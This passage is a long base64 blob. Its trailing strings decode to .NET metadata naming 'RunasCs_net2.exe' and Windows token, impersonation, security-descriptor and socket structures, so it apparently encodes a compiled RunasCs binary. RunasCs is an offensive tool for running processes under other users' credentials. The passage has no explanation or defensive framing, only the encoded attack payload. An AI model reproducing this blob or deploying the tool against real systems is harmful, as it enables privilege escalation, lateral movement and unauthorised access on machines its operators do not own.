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wEFAGgB6QEFAGwB6wEFAHAB7QEFAHQB7wEIAHgBVgAIAHwB8QEJAJABpwIJAJQBrAIJAJgBsQIJAJwBtgIJAKABfgAJAKQBuwIJAKgBrAIJAKwBrAIJALABrAIJALQBwAIJALgBxQIJALwBygIJAMABzwIJAMQB1AIJAMgB2QIJAMwB3gIJANABiwAJANQB4wIJANgBUQAJANwBYAAJAOABZQAJAOQBdAAJAOgB6AIJAOwB7QIJAPAB8gIJAPQB9wIJAPgBTAAJAPwB/AIJAAACUQAJAAQCYAAJAAgCZQAJAAwCdAAJABAC6AIJABQC7QIJABgC8gIJABwCTAAJACACAQMJACQCBgMJACwCUQAJADACYAAJADQCZQAJADgCdAAJADwCiwAJAEAC3gIJAEQC2QIJAEgC1AIIAFACUQAIAFQCYAAIAFwCUQAIAGACYAAIAGQCWwAIAGgCZQAIAGwCagAIAHACywEIAHQCbwAIAHgCdAAIAHwCeQAIAKgCVgAIAKwCHwMIALACJAMIALQCKQMIALgCLgMIALwCMwMJAMACYAAIAMwCUQAIANACYAAIANQCWwAIANgCZQAIANwCagAIAOACywEIAOQCbwAIAOgCdAAIAOwCeQAIAPAC0AEIAPQC1QEIAPgC2gEIAPwCsgMIAAADtwMIAAQDvAMIAAgD6AIIAAwDwQMIABADxgMIABQDywMIABgD0AMIABwD1QMIACAD2gMIACQD3wMIACgD5AMIACwD6QMIADAD7gMIADQD8wMIADgD+AMIADwD/QMIAEADAgQIAEQDBwQIAEgD7QIIAEwDDAQIAFADEQQIAFQDFgQIAFgDGwQIAFwDIAQIAGADJQQIAGQDKgQIAGgDLwQIAGwDNAQIAHADOQQIAHQDPgQIAHgDQwQIAHwDSAQIAIADTQQIAIQDUgQIAIgDVwQIAIwDXAQIAJQDZQQIAJgDlQAIAJwDVgAIAKADHwMIAKQDJAMIAKgDKQMIAKwDLgMIALADMwMJALgDVgAJALwDUQAJAMADYAAJAMQDZQAJAMgDdAAJAMwD6AIJANAD7QIJANQD8gIJANgD3gIJANwDbgQuAAsApgcuABMArweDATsCUQCjATsCUQAAA2MAUQBDBPMCUQANAOkBDwC2BBEAtgQTALYEiADTBYoA1wWNAOkBmQDpAQcB2wUJAekBFQHpASkB6QEtAekBMQHpATMB6QFAAU4GeQHdBZ8B6QHbAVIG5wFSBvIBtQYEArgGBAAAAAAAGgC9BM8E3AT6BFwFigWvBewFGAYqBkUGVAZlBnwGhQaXBqAGsAbKBtMG1wYiB00HiAcdGj4aRxyhHKwdzR07IUIhHAVeBrsG8QYFB0UHZAdyB0ABCQCEBAEAQAELAJAEAQBAAQ0ApAQCAEABDwC8BAIAYBERAMkEAgAAARMA0wQCAEQBFQDkBAIARAEXAPwEAgBEARkAEAUDAEABGwAoBQIARAEdADgFBAAAAR8AQwUEAEABIQBbBQQAQAEjAGQFBABAASUAdAUFAEABJwCLBQUARgEpAL0FBQBCASsADgYGAEABLQAYBgYAQAEvACAGBgBCATEAJgYGAAYBMwAwBgYARgE1AEAGBgBEATcASwYGAEQBSwCdCgcAQAFNALUKCABEAU8AzgoHAAABUQDgCggARAFTAOwKBwBAAVUA/woIAEABVwAMCwgAAAFZACQLAgBAAVsALAsIAEQBXQBCCwIARAFfAFwLAgBAAWEAbgsCAEQBYwCLCwIAQAFlAJgLAgBAAWcApgsCAEABaQCtCwIAQAFrALQLAgBAAW0AyAsCAEABbwDiCwgAQAFxAPgLAgBEAXMAAAwCAEABgwAVEgIARAGFACkSAgBAAYcAFRICAEABiQA9EgIAQAGLAFYSAgBAAY0AahICAEABjwB9EgIAQAGRAJUSAgBAAZMAqxICAASAAAAAAAAAAAAAAAAAAAAAAMEZAAACAAAAAAAAAAAAAAABADkCAAAAAAIAAAAAAAAAAAAAAAEAQgIAAAAABAADAAUAAwAGAAMABwADAAgAAwAJAAMACgADAAwACwANAAsADgALAA8ACwAQAAsAEQALABIACwATAAsAFQAUABYAFAAXABQAGAAUABkAFAAaABQAGwAUABwAFAAdABQAHgAUAB8AFAAAAAAAADxNb2R1bGU+AFJ1bmFzQ3NfbmV0Mi5leGUAUnVuYXNDc0V4Y2VwdGlvbgBSdW5hc0NzAFNUQVJUVVBJTkZPAFByb2Nlc3NJbmZvcm1hdGlvbgBTRUNVUklUWV9BVFRSSUJVVEVTAFNFQ1VSSVRZX0lNUEVSU09OQVRJT05fTEVWRUwAU09DS0FERFJfSU4AV1NBRGF0YQBTRV9PQkpFQ1RfVFlQRQBXaW5kb3dTdGF0aW9uREFDTABBQ0NFU1NfTUFTSwBTRUNVUklUWV9JTkZPUk1BVElPTgBBQ0xfSU5GT1JNQVRJT05fQ0xBU1MAU0lEX05BTUVfVVNFAFNpZElkZW50aWZpZXJBdXRob3JpdHkAQUNMX1NJWkVfSU5GT1JNQVRJT04AQUNFX0hFQURFUgBBQ0NFU1NfQUxMT1dFRF9BQ0UAQWNjZXNzVG9rZW4AVE9LRU5fSU5GT1JNQVRJT05fQ0xBU1MASW50ZWdyaXR5TGV2ZWwAVG9rZW5Hcm91cEF0dHJpYnV0ZXMA